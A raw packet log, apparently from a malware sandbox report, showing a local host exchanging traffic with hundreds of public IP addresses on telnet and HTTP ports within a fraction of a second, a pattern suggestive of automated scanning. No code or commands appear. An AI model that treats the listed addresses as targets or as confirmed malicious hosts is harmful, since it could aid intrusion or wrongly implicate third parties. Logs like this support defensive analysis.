Dec 28, 2024 20:41:50.270227909 CET	23	28664	96.33.177.123	192.168.2.23
Dec 28, 2024 20:41:50.270234108 CET	28664	23	192.168.2.23	168.69.143.167
Dec 28, 2024 20:41:50.270241022 CET	28664	23	192.168.2.23	144.45.224.128
Dec 28, 2024 20:41:50.270260096 CET	28664	23	192.168.2.23	96.33.177.123
Dec 28, 2024 20:41:50.270262957 CET	23	28664	177.205.121.139	192.168.2.23
Dec 28, 2024 20:41:50.270275116 CET	23	28664	161.169.114.121	192.168.2.23
Dec 28, 2024 20:41:50.270279884 CET	23	28664	197.86.146.4	192.168.2.23
Dec 28, 2024 20:41:50.270303011 CET	28664	23	192.168.2.23	177.205.121.139
Dec 28, 2024 20:41:50.270303011 CET	28664	23	192.168.2.23	161.169.114.121
Dec 28, 2024 20:41:50.270303011 CET	28664	23	192.168.2.23	197.86.146.4
Dec 28, 2024 20:41:50.270365000 CET	23	28664	161.20.193.39	192.168.2.23
Dec 28, 2024 20:41:50.270380020 CET	23	28664	142.13.230.116	192.168.2.23
Dec 28, 2024 20:41:50.270385027 CET	23	28664	77.22.184.73	192.168.2.23
Dec 28, 2024 20:41:50.270412922 CET	28664	23	192.168.2.23	142.13.230.116
Dec 28, 2024 20:41:50.270417929 CET	28664	23	192.168.2.23	161.20.193.39
Dec 28, 2024 20:41:50.270417929 CET	28664	23	192.168.2.23	77.22.184.73
Dec 28, 2024 20:41:50.270508051 CET	23	28664	150.127.237.126	192.168.2.23
Dec 28, 2024 20:41:50.270523071 CET	23	28664	99.45.58.239	192.168.2.23
Dec 28, 2024 20:41:50.270533085 CET	23	28664	177.80.150.59	192.168.2.23
Dec 28, 2024 20:41:50.270540953 CET	23	28664	140.10.162.77	192.168.2.23
Dec 28, 2024 20:41:50.270541906 CET	28664	23	192.168.2.23	150.127.237.126
Dec 28, 2024 20:41:50.270550013 CET	23	28664	178.172.250.168	192.168.2.23
Dec 28, 2024 20:41:50.270555019 CET	23	28664	207.163.156.234	192.168.2.23
Dec 28, 2024 20:41:50.270559072 CET	23	28664	162.130.222.185	192.168.2.23
Dec 28, 2024 20:41:50.270564079 CET	23	28664	145.3.180.37	192.168.2.23
Dec 28, 2024 20:41:50.270566940 CET	28664	23	192.168.2.23	177.80.150.59
Dec 28, 2024 20:41:50.270570993 CET	28664	23	192.168.2.23	99.45.58.239
Dec 28, 2024 20:41:50.270570993 CET	28664	23	192.168.2.23	140.10.162.77
Dec 28, 2024 20:41:50.270572901 CET	23	28664	220.242.56.87	192.168.2.23
Dec 28, 2024 20:41:50.270585060 CET	23	28664	168.235.2.58	192.168.2.23
Dec 28, 2024 20:41:50.270586967 CET	28664	23	192.168.2.23	207.163.156.234
Dec 28, 2024 20:41:50.270589113 CET	28664	23	192.168.2.23	178.172.250.168
Dec 28, 2024 20:41:50.270589113 CET	28664	23	192.168.2.23	162.130.222.185
Dec 28, 2024 20:41:50.270592928 CET	28664	23	192.168.2.23	145.3.180.37
Dec 28, 2024 20:41:50.270596027 CET	23	28664	188.118.235.244	192.168.2.23
Dec 28, 2024 20:41:50.270600080 CET	23	28664	52.31.253.57	192.168.2.23
Dec 28, 2024 20:41:50.270602942 CET	23	28664	53.240.199.50	192.168.2.23
Dec 28, 2024 20:41:50.270606995 CET	23	28664	87.94.216.34	192.168.2.23
Dec 28, 2024 20:41:50.270610094 CET	28664	23	192.168.2.23	220.242.56.87
Dec 28, 2024 20:41:50.270616055 CET	23	28664	204.11.238.223	192.168.2.23
Dec 28, 2024 20:41:50.270622969 CET	28664	23	192.168.2.23	188.118.235.244
Dec 28, 2024 20:41:50.270623922 CET	28664	23	192.168.2.23	168.235.2.58
Dec 28, 2024 20:41:50.270627022 CET	23	28664	90.23.104.163	192.168.2.23
Dec 28, 2024 20:41:50.270632029 CET	28664	23	192.168.2.23	53.240.199.50
Dec 28, 2024 20:41:50.270632029 CET	28664	23	192.168.2.23	52.31.253.57
Dec 28, 2024 20:41:50.270636082 CET	28664	23	192.168.2.23	87.94.216.34
Dec 28, 2024 20:41:50.270636082 CET	23	28664	149.165.60.163	192.168.2.23
Dec 28, 2024 20:41:50.270647049 CET	23	28664	93.65.172.90	192.168.2.23
Dec 28, 2024 20:41:50.270654917 CET	28664	23	192.168.2.23	204.11.238.223
Dec 28, 2024 20:41:50.270664930 CET	28664	23	192.168.2.23	90.23.104.163
Dec 28, 2024 20:41:50.270664930 CET	28664	23	192.168.2.23	149.165.60.163
Dec 28, 2024 20:41:50.270683050 CET	28664	23	192.168.2.23	93.65.172.90
Dec 28, 2024 20:41:50.271032095 CET	23	28664	181.131.145.87	192.168.2.23
Dec 28, 2024 20:41:50.271044016 CET	23	28664	82.123.12.66	192.168.2.23
Dec 28, 2024 20:41:50.271060944 CET	23	28664	76.202.81.180	192.168.2.23
Dec 28, 2024 20:41:50.271069050 CET	28664	23	192.168.2.23	181.131.145.87
Dec 28, 2024 20:41:50.271070004 CET	23	28664	162.126.191.130	192.168.2.23
Dec 28, 2024 20:41:50.271080971 CET	28664	23	192.168.2.23	82.123.12.66
Dec 28, 2024 20:41:50.271099091 CET	28664	23	192.168.2.23	162.126.191.130
Dec 28, 2024 20:41:50.271100998 CET	28664	23	192.168.2.23	76.202.81.180
Dec 28, 2024 20:41:50.271110058 CET	23	28664	24.240.30.117	192.168.2.23
Dec 28, 2024 20:41:50.271120071 CET	23	28664	172.132.89.32	192.168.2.23
Dec 28, 2024 20:41:50.271133900 CET	23	28664	172.4.14.77	192.168.2.23
Dec 28, 2024 20:41:50.271151066 CET	28664	23	192.168.2.23	172.132.89.32
Dec 28, 2024 20:41:50.271151066 CET	28664	23	192.168.2.23	24.240.30.117
Dec 28, 2024 20:41:50.271166086 CET	28664	23	192.168.2.23	172.4.14.77
Dec 28, 2024 20:41:50.271179914 CET	23	28664	1.90.224.78	192.168.2.23
Dec 28, 2024 20:41:50.271189928 CET	23	28664	137.169.43.43	192.168.2.23
Dec 28, 2024 20:41:50.271199942 CET	23	28664	60.35.78.3	192.168.2.23
Dec 28, 2024 20:41:50.271219969 CET	28664	23	192.168.2.23	137.169.43.43
Dec 28, 2024 20:41:50.271223068 CET	28664	23	192.168.2.23	1.90.224.78
Dec 28, 2024 20:41:50.271224022 CET	23	28664	216.221.19.196	192.168.2.23
Dec 28, 2024 20:41:50.271234035 CET	28664	23	192.168.2.23	60.35.78.3
Dec 28, 2024 20:41:50.271277905 CET	28664	23	192.168.2.23	216.221.19.196
Dec 28, 2024 20:41:50.271281958 CET	23	28664	123.108.150.154	192.168.2.23
Dec 28, 2024 20:41:50.271292925 CET	23	28664	135.125.4.107	192.168.2.23
Dec 28, 2024 20:41:50.271302938 CET	23	28664	102.41.110.145	192.168.2.23
Dec 28, 2024 20:41:50.271322012 CET	28664	23	192.168.2.23	123.108.150.154
Dec 28, 2024 20:41:50.271332979 CET	28664	23	192.168.2.23	135.125.4.107
Dec 28, 2024 20:41:50.271352053 CET	28664	23	192.168.2.23	102.41.110.145
Dec 28, 2024 20:41:50.271365881 CET	23	28664	120.35.58.63	192.168.2.23
Dec 28, 2024 20:41:50.271377087 CET	23	28664	109.199.171.114	192.168.2.23
Dec 28, 2024 20:41:50.271387100 CET	23	28664	53.29.155.187	192.168.2.23
Dec 28, 2024 20:41:50.271404982 CET	28664	23	192.168.2.23	109.199.171.114
Dec 28, 2024 20:41:50.271405935 CET	28664	23	192.168.2.23	120.35.58.63
Dec 28, 2024 20:41:50.271411896 CET	23	28664	179.42.179.233	192.168.2.23
Dec 28, 2024 20:41:50.271416903 CET	23	28664	163.250.173.121	192.168.2.23
Dec 28, 2024 20:41:50.271426916 CET	28664	23	192.168.2.23	53.29.155.187
Dec 28, 2024 20:41:50.271430016 CET	23	28664	144.19.105.36	192.168.2.23
Dec 28, 2024 20:41:50.271446943 CET	28664	23	192.168.2.23	179.42.179.233
Dec 28, 2024 20:41:50.271456957 CET	28664	23	192.168.2.23	163.250.173.121
Dec 28, 2024 20:41:50.271469116 CET	28664	23	192.168.2.23	144.19.105.36
Dec 28, 2024 20:41:50.271605968 CET	23	28664	137.209.35.201	192.168.2.23
Dec 28, 2024 20:41:50.271615028 CET	23	28664	210.202.207.171	192.168.2.23
Dec 28, 2024 20:41:50.271625996 CET	23	28664	184.188.130.105	192.168.2.23
Dec 28, 2024 20:41:50.271635056 CET	23	28664	172.199.48.164	192.168.2.23
Dec 28, 2024 20:41:50.271636963 CET	28664	23	192.168.2.23	137.209.35.201
Dec 28, 2024 20:41:50.271644115 CET	28664	23	192.168.2.23	210.202.207.171
Dec 28, 2024 20:41:50.271645069 CET	23	28664	200.7.211.107	192.168.2.23
Dec 28, 2024 20:41:50.271655083 CET	23	28664	208.125.22.207	192.168.2.23
Dec 28, 2024 20:41:50.271661997 CET	28664	23	192.168.2.23	184.188.130.105
Dec 28, 2024 20:41:50.271661997 CET	28664	23	192.168.2.23	200.7.211.107
Dec 28, 2024 20:41:50.271663904 CET	23	28664	197.111.239.4	192.168.2.23
Dec 28, 2024 20:41:50.271673918 CET	23	28664	179.238.62.212	192.168.2.23
Dec 28, 2024 20:41:50.271686077 CET	28664	23	192.168.2.23	208.125.22.207
Dec 28, 2024 20:41:50.271696091 CET	28664	23	192.168.2.23	172.199.48.164
Dec 28, 2024 20:41:50.271702051 CET	28664	23	192.168.2.23	197.111.239.4
Dec 28, 2024 20:41:50.271706104 CET	28664	23	192.168.2.23	179.238.62.212
Dec 28, 2024 20:41:50.272231102 CET	23	28664	212.96.133.210	192.168.2.23
Dec 28, 2024 20:41:50.272243023 CET	23	28664	76.248.34.135	192.168.2.23
Dec 28, 2024 20:41:50.272252083 CET	23	28664	186.98.107.229	192.168.2.23
Dec 28, 2024 20:41:50.272262096 CET	23	28664	200.170.220.142	192.168.2.23
Dec 28, 2024 20:41:50.272270918 CET	28664	23	192.168.2.23	76.248.34.135
Dec 28, 2024 20:41:50.272272110 CET	28664	23	192.168.2.23	212.96.133.210
Dec 28, 2024 20:41:50.272279978 CET	23	28664	185.221.92.206	192.168.2.23
Dec 28, 2024 20:41:50.272289038 CET	28664	23	192.168.2.23	186.98.107.229
Dec 28, 2024 20:41:50.272289991 CET	23	28664	122.65.82.174	192.168.2.23
Dec 28, 2024 20:41:50.272298098 CET	28664	23	192.168.2.23	200.170.220.142
Dec 28, 2024 20:41:50.272300005 CET	80	28662	223.249.41.179	192.168.2.23
Dec 28, 2024 20:41:50.272310019 CET	80	28662	144.136.45.25	192.168.2.23
Dec 28, 2024 20:41:50.272317886 CET	28664	23	192.168.2.23	185.221.92.206
Dec 28, 2024 20:41:50.272320032 CET	80	28662	50.59.204.179	192.168.2.23
Dec 28, 2024 20:41:50.272321939 CET	28664	23	192.168.2.23	122.65.82.174
Dec 28, 2024 20:41:50.272336960 CET	80	28662	118.53.133.157	192.168.2.23
Dec 28, 2024 20:41:50.272345066 CET	28662	80	192.168.2.23	144.136.45.25
Dec 28, 2024 20:41:50.272346973 CET	80	28662	70.189.53.114	192.168.2.23
Dec 28, 2024 20:41:50.272346973 CET	28662	80	192.168.2.23	223.249.41.179
Dec 28, 2024 20:41:50.272351027 CET	28662	80	192.168.2.23	50.59.204.179
Dec 28, 2024 20:41:50.272366047 CET	28662	80	192.168.2.23	118.53.133.157
Dec 28, 2024 20:41:50.272377014 CET	80	28662	183.101.91.228	192.168.2.23
Dec 28, 2024 20:41:50.272382975 CET	28662	80	192.168.2.23	70.189.53.114
Dec 28, 2024 20:41:50.272387028 CET	80	28662	54.53.79.96	192.168.2.23
Dec 28, 2024 20:41:50.272407055 CET	28662	80	192.168.2.23	183.101.91.228
Dec 28, 2024 20:41:50.272424936 CET	28662	80	192.168.2.23	54.53.79.96
Dec 28, 2024 20:41:50.272456884 CET	80	28662	136.3.17.174	192.168.2.23
Dec 28, 2024 20:41:50.272466898 CET	80	28662	45.127.212.76	192.168.2.23
Dec 28, 2024 20:41:50.272475958 CET	80	28662	5.54.79.220	192.168.2.23
Dec 28, 2024 20:41:50.272485018 CET	80	28662	139.44.8.181	192.168.2.23
Dec 28, 2024 20:41:50.272496939 CET	80	28662	166.101.229.38	192.168.2.23
Dec 28, 2024 20:41:50.272502899 CET	28662	80	192.168.2.23	136.3.17.174
Dec 28, 2024 20:41:50.272502899 CET	28662	80	192.168.2.23	45.127.212.76
Dec 28, 2024 20:41:50.272511959 CET	80	28662	90.41.189.216	192.168.2.23
Dec 28, 2024 20:41:50.272515059 CET	28662	80	192.168.2.23	139.44.8.181
Dec 28, 2024 20:41:50.272521973 CET	80	28662	9.248.233.124	192.168.2.23
Dec 28, 2024 20:41:50.272533894 CET	28662	80	192.168.2.23	166.101.229.38
Dec 28, 2024 20:41:50.272538900 CET	28662	80	192.168.2.23	5.54.79.220
Dec 28, 2024 20:41:50.272542953 CET	28662	80	192.168.2.23	90.41.189.216
Dec 28, 2024 20:41:50.272551060 CET	28662	80	192.168.2.23	9.248.233.124
Dec 28, 2024 20:41:50.272552967 CET	80	28662	53.234.42.84	192.168.2.23
Dec 28, 2024 20:41:50.272563934 CET	80	28662	79.17.167.116	192.168.2.23
Dec 28, 2024 20:41:50.272594929 CET	28662	80	192.168.2.23	53.234.42.84
Dec 28, 2024 20:41:50.272625923 CET	28662	80	192.168.2.23	79.17.167.116
Dec 28, 2024 20:41:50.272634029 CET	80	28662	150.228.9.163	192.168.2.23
Dec 28, 2024 20:41:50.272644997 CET	80	28662	88.162.98.245	192.168.2.23
Dec 28, 2024 20:41:50.272658110 CET	80	28662	145.43.198.169	192.168.2.23
Dec 28, 2024 20:41:50.272669077 CET	28662	80	192.168.2.23	88.162.98.245
Dec 28, 2024 20:41:50.272670984 CET	28662	80	192.168.2.23	150.228.9.163
Dec 28, 2024 20:41:50.272682905 CET	28662	80	192.168.2.23	145.43.198.169
Dec 28, 2024 20:41:50.272684097 CET	80	28662	18.68.244.165	192.168.2.23
Dec 28, 2024 20:41:50.272696018 CET	80	28662	118.218.201.13	192.168.2.23
Dec 28, 2024 20:41:50.272712946 CET	80	28662	188.167.238.213	192.168.2.23
Dec 28, 2024 20:41:50.272722960 CET	28662	80	192.168.2.23	18.68.244.165
Dec 28, 2024 20:41:50.272742033 CET	28662	80	192.168.2.23	118.218.201.13
Dec 28, 2024 20:41:50.272742033 CET	28662	80	192.168.2.23	188.167.238.213
Dec 28, 2024 20:41:50.272943020 CET	80	28662	59.196.180.98	192.168.2.23
Dec 28, 2024 20:41:50.272953033 CET	80	28662	14.128.207.225	192.168.2.23
Dec 28, 2024 20:41:50.272963047 CET	80	28662	174.187.17.130	192.168.2.23
Dec 28, 2024 20:41:50.272981882 CET	28662	80	192.168.2.23	59.196.180.98
Dec 28, 2024 20:41:50.272984982 CET	28662	80	192.168.2.23	14.128.207.225
Dec 28, 2024 20:41:50.272993088 CET	28662	80	192.168.2.23	174.187.17.130
Dec 28, 2024 20:41:50.382999897 CET	80	28662	151.122.240.195	192.168.2.23
Dec 28, 2024 20:41:50.383019924 CET	80	28662	181.227.151.229	192.168.2.23
Dec 28, 2024 20:41:50.383028984 CET	80	28662	117.120.48.9	192.168.2.23
Dec 28, 2024 20:41:50.383038998 CET	80	28662	200.55.231.242	192.168.2.23
Dec 28, 2024 20:41:50.383040905 CET	28662	80	192.168.2.23	151.122.240.195
Dec 28, 2024 20:41:50.383047104 CET	80	28662	93.88.238.139	192.168.2.23
Dec 28, 2024 20:41:50.383057117 CET	28662	80	192.168.2.23	181.227.151.229
Dec 28, 2024 20:41:50.383059978 CET	80	28662	124.125.216.30	192.168.2.23
Dec 28, 2024 20:41:50.383069992 CET	80	28662	42.189.74.111	192.168.2.23
Dec 28, 2024 20:41:50.383075953 CET	28662	80	192.168.2.23	200.55.231.242
Dec 28, 2024 20:41:50.383080959 CET	80	28662	179.12.65.17	192.168.2.23
Dec 28, 2024 20:41:50.383090019 CET	80	28662	43.171.32.225	192.168.2.23
Dec 28, 2024 20:41:50.383091927 CET	28662	80	192.168.2.23	124.125.216.30
Dec 28, 2024 20:41:50.383097887 CET	28662	80	192.168.2.23	117.120.48.9
Dec 28, 2024 20:41:50.383099079 CET	28662	80	192.168.2.23	93.88.238.139
Dec 28, 2024 20:41:50.383100033 CET	80	28662	112.255.221.73	192.168.2.23
Dec 28, 2024 20:41:50.383115053 CET	28662	80	192.168.2.23	179.12.65.17
Dec 28, 2024 20:41:50.383116007 CET	80	28662	146.207.92.117	192.168.2.23
Dec 28, 2024 20:41:50.383117914 CET	28662	80	192.168.2.23	42.189.74.111
Dec 28, 2024 20:41:50.383125067 CET	80	28662	152.75.68.129	192.168.2.23
Dec 28, 2024 20:41:50.383130074 CET	28662	80	192.168.2.23	43.171.32.225
Dec 28, 2024 20:41:50.383135080 CET	80	28662	82.40.193.68	192.168.2.23
Dec 28, 2024 20:41:50.383147955 CET	28662	80	192.168.2.23	146.207.92.117
Dec 28, 2024 20:41:50.383148909 CET	80	28662	96.16.221.45	192.168.2.23
Dec 28, 2024 20:41:50.383148909 CET	28662	80	192.168.2.23	152.75.68.129
Dec 28, 2024 20:41:50.383152008 CET	28662	80	192.168.2.23	112.255.221.73
Dec 28, 2024 20:41:50.383157969 CET	80	28662	156.104.203.159	192.168.2.23
Dec 28, 2024 20:41:50.383168936 CET	80	28662	156.154.22.137	192.168.2.23
Dec 28, 2024 20:41:50.383173943 CET	28662	80	192.168.2.23	82.40.193.68
Dec 28, 2024 20:41:50.383178949 CET	80	28662	129.253.175.168	192.168.2.23
Dec 28, 2024 20:41:50.383188009 CET	80	28662	138.36.76.82	192.168.2.23
Dec 28, 2024 20:41:50.383193016 CET	28662	80	192.168.2.23	96.16.221.45
Dec 28, 2024 20:41:50.383198977 CET	80	28662	18.236.251.94	192.168.2.23
Dec 28, 2024 20:41:50.383205891 CET	28662	80	192.168.2.23	156.104.203.159
Dec 28, 2024 20:41:50.383207083 CET	28662	80	192.168.2.23	156.154.22.137
Dec 28, 2024 20:41:50.383208990 CET	28662	80	192.168.2.23	129.253.175.168
Dec 28, 2024 20:41:50.383208990 CET	80	28662	97.202.57.206	192.168.2.23
Dec 28, 2024 20:41:50.383220911 CET	80	28662	65.190.233.188	192.168.2.23
Dec 28, 2024 20:41:50.383220911 CET	28662	80	192.168.2.23	18.236.251.94
Dec 28, 2024 20:41:50.383222103 CET	28662	80	192.168.2.23	138.36.76.82
Dec 28, 2024 20:41:50.383232117 CET	80	28662	191.100.209.234	192.168.2.23
Dec 28, 2024 20:41:50.383244038 CET	80	28662	188.25.9.1	192.168.2.23
Dec 28, 2024 20:41:50.383250952 CET	28662	80	192.168.2.23	97.202.57.206
Dec 28, 2024 20:41:50.383259058 CET	80	28662	221.207.153.84	192.168.2.23
Dec 28, 2024 20:41:50.383260965 CET	28662	80	192.168.2.23	65.190.233.188
Dec 28, 2024 20:41:50.383263111 CET	28662	80	192.168.2.23	191.100.209.234
Dec 28, 2024 20:41:50.383269072 CET	80	28662	118.76.72.240	192.168.2.23
Dec 28, 2024 20:41:50.383275032 CET	28662	80	192.168.2.23	188.25.9.1
Dec 28, 2024 20:41:50.383279085 CET	80	28662	128.217.99.58	192.168.2.23
Dec 28, 2024 20:41:50.383289099 CET	80	28662	115.215.157.26	192.168.2.23
Dec 28, 2024 20:41:50.383296967 CET	80	28662	146.27.51.110	192.168.2.23
Dec 28, 2024 20:41:50.383304119 CET	28662	80	192.168.2.23	221.207.153.84
Dec 28, 2024 20:41:50.383304119 CET	28662	80	192.168.2.23	118.76.72.240
Dec 28, 2024 20:41:50.383304119 CET	28662	80	192.168.2.23	128.217.99.58
Dec 28, 2024 20:41:50.383332968 CET	28662	80	192.168.2.23	146.27.51.110
Dec 28, 2024 20:41:50.383363008 CET	28662	80	192.168.2.23	115.215.157.26
Dec 28, 2024 20:41:50.384063005 CET	80	28662	142.21.194.18	192.168.2.23
Dec 28, 2024 20:41:50.384073019 CET	80	28662	173.120.206.109	192.168.2.23
Dec 28, 2024 20:41:50.384083033 CET	80	28662	120.140.212.10	192.168.2.23
Dec 28, 2024 20:41:50.384092093 CET	80	28662	5.69.75.55	192.168.2.23
Dec 28, 2024 20:41:50.384102106 CET	80	28662	155.141.18.85	192.168.2.23
Dec 28, 2024 20:41:50.384109974 CET	80	28662	200.217.69.227	192.168.2.23
Dec 28, 2024 20:41:50.384115934 CET	28662	80	192.168.2.23	142.21.194.18
Dec 28, 2024 20:41:50.384115934 CET	28662	80	192.168.2.23	120.140.212.10
Dec 28, 2024 20:41:50.384123087 CET	28662	80	192.168.2.23	173.120.206.109
Dec 28, 2024 20:41:50.384129047 CET	80	28662	205.186.31.130	192.168.2.23
Dec 28, 2024 20:41:50.384130955 CET	28662	80	192.168.2.23	155.141.18.85
Dec 28, 2024 20:41:50.384139061 CET	80	28662	110.68.241.159	192.168.2.23
Dec 28, 2024 20:41:50.384147882 CET	80	28662	194.29.107.167	192.168.2.23
Dec 28, 2024 20:41:50.384149075 CET	28662	80	192.168.2.23	200.217.69.227
Dec 28, 2024 20:41:50.384155035 CET	28662	80	192.168.2.23	5.69.75.55
Dec 28, 2024 20:41:50.384159088 CET	80	28662	91.179.19.106	192.168.2.23
Dec 28, 2024 20:41:50.384166956 CET	28662	80	192.168.2.23	110.68.241.159
Dec 28, 2024 20:41:50.384167910 CET	80	28662	187.216.132.148	192.168.2.23
Dec 28, 2024 20:41:50.384186983 CET	80	28662	52.125.249.191	192.168.2.23
Dec 28, 2024 20:41:50.384196043 CET	28662	80	192.168.2.23	205.186.31.130
Dec 28, 2024 20:41:50.384200096 CET	80	28662	47.254.141.139	192.168.2.23
Dec 28, 2024 20:41:50.384205103 CET	28662	80	192.168.2.23	91.179.19.106
Dec 28, 2024 20:41:50.384205103 CET	28662	80	192.168.2.23	187.216.132.148
Dec 28, 2024 20:41:50.384211063 CET	80	28662	169.33.202.77	192.168.2.23
Dec 28, 2024 20:41:50.384219885 CET	80	28662	8.177.108.31	192.168.2.23
Dec 28, 2024 20:41:50.384229898 CET	28662	80	192.168.2.23	52.125.249.191
Dec 28, 2024 20:41:50.384231091 CET	28662	80	192.168.2.23	47.254.141.139
Dec 28, 2024 20:41:50.384233952 CET	28662	80	192.168.2.23	194.29.107.167
Dec 28, 2024 20:41:50.384242058 CET	28662	80	192.168.2.23	169.33.202.77
Dec 28, 2024 20:41:50.384243965 CET	80	28662	116.8.69.55	192.168.2.23
Dec 28, 2024 20:41:50.384253979 CET	80	28662	223.232.208.20	192.168.2.23
Dec 28, 2024 20:41:50.384262085 CET	80	28662	148.70.151.213	192.168.2.23
Dec 28, 2024 20:41:50.384279966 CET	28662	80	192.168.2.23	223.232.208.20
Dec 28, 2024 20:41:50.384279966 CET	28662	80	192.168.2.23	116.8.69.55
Dec 28, 2024 20:41:50.384294987 CET	80	28662	206.182.249.226	192.168.2.23
Dec 28, 2024 20:41:50.384304047 CET	80	28662	206.38.21.29	192.168.2.23
Dec 28, 2024 20:41:50.384372950 CET	80	28662	17.70.108.121	192.168.2.23
Dec 28, 2024 20:41:50.384399891 CET	28662	80	192.168.2.23	17.70.108.121
Dec 28, 2024 20:41:50.384402990 CET	28662	80	192.168.2.23	206.38.21.29
Dec 28, 2024 20:41:50.384419918 CET	80	28662	69.187.11.15	192.168.2.23
Dec 28, 2024 20:41:50.384421110 CET	28662	80	192.168.2.23	206.182.249.226
Dec 28, 2024 20:41:50.384423971 CET	28662	80	192.168.2.23	8.177.108.31
Dec 28, 2024 20:41:50.384424925 CET	28662	80	192.168.2.23	148.70.151.213
Dec 28, 2024 20:41:50.384430885 CET	80	28662	72.13.58.36	192.168.2.23
Dec 28, 2024 20:41:50.384450912 CET	80	28662	125.235.77.39	192.168.2.23
Dec 28, 2024 20:41:50.384460926 CET	80	28662	13.90.194.40	192.168.2.23
Dec 28, 2024 20:41:50.384464025 CET	28662	80	192.168.2.23	72.13.58.36
Dec 28, 2024 20:41:50.384465933 CET	28662	80	192.168.2.23	69.187.11.15
Dec 28, 2024 20:41:50.384471893 CET	80	28662	119.40.9.243	192.168.2.23
Dec 28, 2024 20:41:50.384488106 CET	80	28662	50.252.161.187	192.168.2.23
Dec 28, 2024 20:41:50.384497881 CET	80	28662	190.212.112.204	192.168.2.23
Dec 28, 2024 20:41:50.384500980 CET	28662	80	192.168.2.23	119.40.9.243
Dec 28, 2024 20:41:50.384500980 CET	28662	80	192.168.2.23	13.90.194.40
Dec 28, 2024 20:41:50.384521008 CET	28662	80	192.168.2.23	125.235.77.39
Dec 28, 2024 20:41:50.385015965 CET	80	28662	205.78.231.83	192.168.2.23
Dec 28, 2024 20:41:50.385025024 CET	80	28662	159.101.122.14	192.168.2.23
Dec 28, 2024 20:41:50.385034084 CET	80	28662	113.199.82.56	192.168.2.23
Dec 28, 2024 20:41:50.385039091 CET	28662	80	192.168.2.23	190.212.112.204
Dec 28, 2024 20:41:50.385044098 CET	28662	80	192.168.2.23	50.252.161.187
Dec 28, 2024 20:41:50.385051012 CET	80	28662	179.84.176.141	192.168.2.23
Dec 28, 2024 20:41:50.385059118 CET	28662	80	192.168.2.23	159.101.122.14
Dec 28, 2024 20:41:50.385061026 CET	80	28662	111.15.10.33	192.168.2.23
Dec 28, 2024 20:41:50.385061979 CET	28662	80	192.168.2.23	205.78.231.83
Dec 28, 2024 20:41:50.385071039 CET	80	28662	145.16.228.68	192.168.2.23
Dec 28, 2024 20:41:50.385081053 CET	80	28662	36.158.26.29	192.168.2.23
Dec 28, 2024 20:41:50.385082960 CET	28662	80	192.168.2.23	111.15.10.33
Dec 28, 2024 20:41:50.385092020 CET	80	28662	114.166.69.136	192.168.2.23
Dec 28, 2024 20:41:50.385092974 CET	28662	80	192.168.2.23	113.199.82.56
Dec 28, 2024 20:41:50.385093927 CET	28662	80	192.168.2.23	179.84.176.141
Dec 28, 2024 20:41:50.385101080 CET	80	28662	109.217.189.136	192.168.2.23
Dec 28, 2024 20:41:50.385104895 CET	28662	80	192.168.2.23	145.16.228.68
Dec 28, 2024 20:41:50.385185003 CET	80	28662	181.191.90.170	192.168.2.23
Dec 28, 2024 20:41:50.385194063 CET	80	28662	79.220.222.178	192.168.2.23
Dec 28, 2024 20:41:50.385201931 CET	80	28662	207.143.162.106	192.168.2.23
Dec 28, 2024 20:41:50.385215998 CET	28662	80	192.168.2.23	114.166.69.136
Dec 28, 2024 20:41:50.385215998 CET	28662	80	192.168.2.23	109.217.189.136
Dec 28, 2024 20:41:50.385224104 CET	28662	80	192.168.2.23	181.191.90.170
Dec 28, 2024 20:41:50.385224104 CET	28662	80	192.168.2.23	79.220.222.178
Dec 28, 2024 20:41:50.385237932 CET	28662	80	192.168.2.23	207.143.162.106
Dec 28, 2024 20:41:50.385238886 CET	28662	80	192.168.2.23	36.158.26.29
Dec 28, 2024 20:41:50.385246992 CET	80	28662	108.169.253.51	192.168.2.23
Dec 28, 2024 20:41:50.385257006 CET	80	28662	188.153.30.8	192.168.2.23
Dec 28, 2024 20:41:50.385265112 CET	80	28662	181.247.4.200	192.168.2.23
Dec 28, 2024 20:41:50.385274887 CET	80	28662	64.79.80.161	192.168.2.23
Dec 28, 2024 20:41:50.385278940 CET	28662	80	192.168.2.23	108.169.253.51
Dec 28, 2024 20:41:50.385288954 CET	28662	80	192.168.2.23	188.153.30.8
Dec 28, 2024 20:41:50.385291100 CET	80	28662	41.77.57.134	192.168.2.23
Dec 28, 2024 20:41:50.385301113 CET	80	28662	38.80.46.1	192.168.2.23
Dec 28, 2024 20:41:50.385305882 CET	28662	80	192.168.2.23	181.247.4.200
Dec 28, 2024 20:41:50.385307074 CET	28662	80	192.168.2.23	64.79.80.161
Dec 28, 2024 20:41:50.385309935 CET	80	28662	143.215.172.128	192.168.2.23
Dec 28, 2024 20:41:50.385319948 CET	80	28662	139.238.199.232	192.168.2.23
Dec 28, 2024 20:41:50.385335922 CET	80	28662	194.114.135.70	192.168.2.23
Dec 28, 2024 20:41:50.385339975 CET	28662	80	192.168.2.23	38.80.46.1
Dec 28, 2024 20:41:50.385348082 CET	80	28662	169.2.16.70	192.168.2.23
Dec 28, 2024 20:41:50.385360003 CET	28662	80	192.168.2.23	143.215.172.128
Dec 28, 2024 20:41:50.385369062 CET	28662	80	192.168.2.23	194.114.135.70
Dec 28, 2024 20:41:50.385376930 CET	28662	80	192.168.2.23	139.238.199.232
Dec 28, 2024 20:41:50.385380983 CET	80	28662	128.51.78.98	192.168.2.23
Dec 28, 2024 20:41:50.385390043 CET	80	28662	170.139.29.184	192.168.2.23
Dec 28, 2024 20:41:50.385399103 CET	80	28662	169.58.249.201	192.168.2.23
Dec 28, 2024 20:41:50.385409117 CET	28662	80	192.168.2.23	41.77.57.134
Dec 28, 2024 20:41:50.385411024 CET	80	28662	124.40.150.10	192.168.2.23
Dec 28, 2024 20:41:50.385416985 CET	28662	80	192.168.2.23	169.2.16.70
Dec 28, 2024 20:41:50.385416985 CET	28662	80	192.168.2.23	128.51.78.98
Dec 28, 2024 20:41:50.385416985 CET	28662	80	192.168.2.23	170.139.29.184
Dec 28, 2024 20:41:50.385430098 CET	80	28662	191.70.254.186	192.168.2.23
Dec 28, 2024 20:41:50.385472059 CET	28662	80	192.168.2.23	124.40.150.10
Dec 28, 2024 20:41:50.385474920 CET	28662	80	192.168.2.23	169.58.249.201
Dec 28, 2024 20:41:50.385478020 CET	28662	80	192.168.2.23	191.70.254.186
Dec 28, 2024 20:41:50.385538101 CET	80	28662	219.78.103.106	192.168.2.23
Dec 28, 2024 20:41:50.385962963 CET	80	28662	206.156.133.166	192.168.2.23
Dec 28, 2024 20:41:50.385972977 CET	80	28662	95.182.251.71	192.168.2.23
Dec 28, 2024 20:41:50.385982990 CET	80	28662	98.199.216.38	192.168.2.23
